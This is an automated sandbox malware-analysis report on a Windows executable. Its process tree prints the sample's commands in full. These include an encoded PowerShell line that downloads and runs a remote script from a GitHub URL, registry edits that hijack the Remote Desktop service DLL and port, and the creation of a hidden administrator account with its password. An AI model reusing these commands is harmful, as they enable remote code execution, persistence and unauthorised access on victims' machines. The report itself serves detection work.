Resubmissions

03/09/2021, 08:44

210903-knkchscgf99

02/09/2021, 11:39

210902-5qmqtqgzvs9

16/07/2021, 08:05

210716-56b3g8kfte10

Analysis

  • max time kernel
    58s
  • max time network
    113s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    16/07/2021, 08:05

General

  • Target
    96d4ecbc8b4e168039901376fc5a8b5a.exe
  • Size 3.2MB
  • Sample210716-56b3g8kfte
  • SHA256 cfdb155368f72aed83e715260f1dd63922a25ce4e6d558941f94cb4a06357994
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Core1 .NET packer 1 IoCs

    Detects packer/loader used by .NET malware.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\96d4ecbc8b4e168039901376fc5a8b5a.exe
    "C:\Users\Admin\AppData\Local\Temp\96d4ecbc8b4e168039901376fc5a8b5a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3944
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Deletes itself
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3576
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\djgvq1d0\djgvq1d0.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3964
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES281F.tmp" "c:\Users\Admin\AppData\Local\Temp\djgvq1d0\CSC68358C5A14D142908026696EF0B47E5.TMP"
            5⤵
              PID:4036
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3964
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4168
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4432
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:4860
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:4880
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:4900
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:5080
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:5100
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:736
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2472
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3860
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:2412
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2816
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2400
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3464
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:4176
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:4180
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:4424
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4296
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4344
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:4368
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc mGDT7Q7I /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4388
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc mGDT7Q7I /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4208
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc mGDT7Q7I /add
                          3⤵
                            PID:4252
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4308
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4188
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:4448
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4504
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4596
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:4616
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                              PID:4636
                              • C:\Windows\system32\net.exe
                                net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                2⤵
                                  PID:4708
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                    3⤵
                                      PID:4724
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc mGDT7Q7I
                                  1⤵
                                    PID:4468
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc mGDT7Q7I
                                      2⤵
                                        PID:4560
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc mGDT7Q7I
                                          3⤵
                                            PID:4512
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C wmic path win32_VideoController get name
                                        1⤵
                                          PID:4752
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic path win32_VideoController get name
                                            2⤵
                                              PID:4796
                                          • C:\Windows\System32\cmd.exe
                                            cmd.exe /C wmic CPU get NAME
                                            1⤵
                                              PID:4652
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic CPU get NAME
                                                2⤵
                                                • Modifies data under HKEY_USERS
                                                PID:2656
                                            • C:\Windows\System32\cmd.exe
                                              cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              1⤵
                                                PID:4888
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                  2⤵
                                                    PID:4928
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                      3⤵
                                                      • Blocklisted process makes network request
                                                      • Drops file in Program Files directory
                                                      • Drops file in Windows directory
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:4940

                                                Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      memory/1844-137-0x000001D2E96D3000-0x000001D2E96D5000-memory.dmp

                                                      memory/1844-131-0x000001D2E9990000-0x000001D2E9C3A000-memory.dmp

                                                      memory/1844-136-0x000001D2E96D0000-0x000001D2E96D2000-memory.dmp

                                                      memory/1844-139-0x000001D2E96D6000-0x000001D2E96D7000-memory.dmp

                                                      memory/1844-138-0x000001D2E96D5000-0x000001D2E96D6000-memory.dmp

                                                      memory/1844-140-0x000001D2E96D8000-0x000001D2E96DA000-memory.dmp

                                                      memory/1844-123-0x0000000000400000-0x00000000008DB000-memory.dmp

                                                      memory/1844-135-0x0000000000400000-0x00000000008DB000-memory.dmp

                                                      memory/3576-151-0x00000277D2610000-0x00000277D2611000-memory.dmp

                                                      memory/3576-187-0x00000277D2428000-0x00000277D2429000-memory.dmp

                                                      memory/3576-146-0x00000277D2420000-0x00000277D2422000-memory.dmp

                                                      memory/3576-148-0x00000277D2460000-0x00000277D2461000-memory.dmp

                                                      memory/3576-165-0x00000277D25A0000-0x00000277D25A1000-memory.dmp

                                                      memory/3576-147-0x00000277D2423000-0x00000277D2425000-memory.dmp

                                                      memory/3576-171-0x00000277D2A30000-0x00000277D2A31000-memory.dmp

                                                      memory/3576-172-0x00000277D2DC0000-0x00000277D2DC1000-memory.dmp

                                                      memory/3576-160-0x00000277D2426000-0x00000277D2428000-memory.dmp

                                                      memory/3944-118-0x000000001DED0000-0x000000001DED1000-memory.dmp

                                                      memory/3944-120-0x0000000003A50000-0x0000000003A60000-memory.dmp

                                                      memory/3944-122-0x000000001E950000-0x000000001EDDD000-memory.dmp

                                                      memory/3944-121-0x0000000003A60000-0x0000000003A61000-memory.dmp

                                                      memory/3944-119-0x000000001E0A0000-0x000000001E550000-memory.dmp

                                                      memory/3944-114-0x0000000000D40000-0x0000000000D41000-memory.dmp

                                                      memory/3944-116-0x000000001D090000-0x000000001D6D0000-memory.dmp

                                                      memory/3944-117-0x000000001CC80000-0x000000001CC82000-memory.dmp

                                                      memory/3964-231-0x0000020AD6A48000-0x0000020AD6A4A000-memory.dmp

                                                      memory/3964-189-0x0000020AD6A40000-0x0000020AD6A42000-memory.dmp

                                                      memory/3964-193-0x0000020AD6A46000-0x0000020AD6A48000-memory.dmp

                                                      memory/3964-190-0x0000020AD6A43000-0x0000020AD6A45000-memory.dmp

                                                      memory/4168-233-0x00000263EBD90000-0x00000263EBD92000-memory.dmp

                                                      memory/4168-234-0x00000263EBD93000-0x00000263EBD95000-memory.dmp

                                                      memory/4168-275-0x00000263EBD96000-0x00000263EBD98000-memory.dmp

                                                      memory/4168-276-0x00000263EBD98000-0x00000263EBD9A000-memory.dmp

                                                      memory/4432-277-0x00000277FA1D0000-0x00000277FA1D2000-memory.dmp

                                                      memory/4432-278-0x00000277FA1D3000-0x00000277FA1D5000-memory.dmp

                                                      memory/4432-310-0x00000277FA1D6000-0x00000277FA1D8000-memory.dmp

                                                      memory/4432-311-0x00000277FA1D8000-0x00000277FA1DA000-memory.dmp

                                                      memory/4940-398-0x000001BB48980000-0x000001BB48982000-memory.dmp

                                                      memory/4940-400-0x000001BB48983000-0x000001BB48985000-memory.dmp

                                                      memory/4940-405-0x000001BB48986000-0x000001BB48988000-memory.dmp

                                                      memory/4940-456-0x000001BB48988000-0x000001BB48989000-memory.dmp